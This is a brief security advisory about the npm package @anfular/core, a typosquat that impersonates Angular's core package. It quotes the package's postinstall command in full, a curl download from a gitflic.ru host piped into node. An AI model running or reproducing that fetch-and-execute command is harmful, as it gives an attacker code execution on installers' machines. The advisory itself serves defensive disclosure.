Malicious code in @anfular/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (eefc706854c122c96c898da5d4db285f26e31430f25451e5d1073a31db5e5341)
Package @anfular/[email protected] is a one-character typosquat of @angular/core, with manifest fields impersonating the official Angular package (scope @anfular, description 'Angular - the core framework', author 'angular', repository pointing at github.com/angular/angular). The package.json postinstall script runs 'curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node', downloading an unpinned JavaScript payload from an attacker-controlled gitflic.ru URL (fronted by a web.archive.org wrapper) and piping it directly into node for execution on the installer's machine at npm install time. The fetched code is unverified, unpinned, hosted off any official registry or publisher-matched domain, and executed with the installer's privileges, giving the author arbitrary code execution on every machine that installs the package.
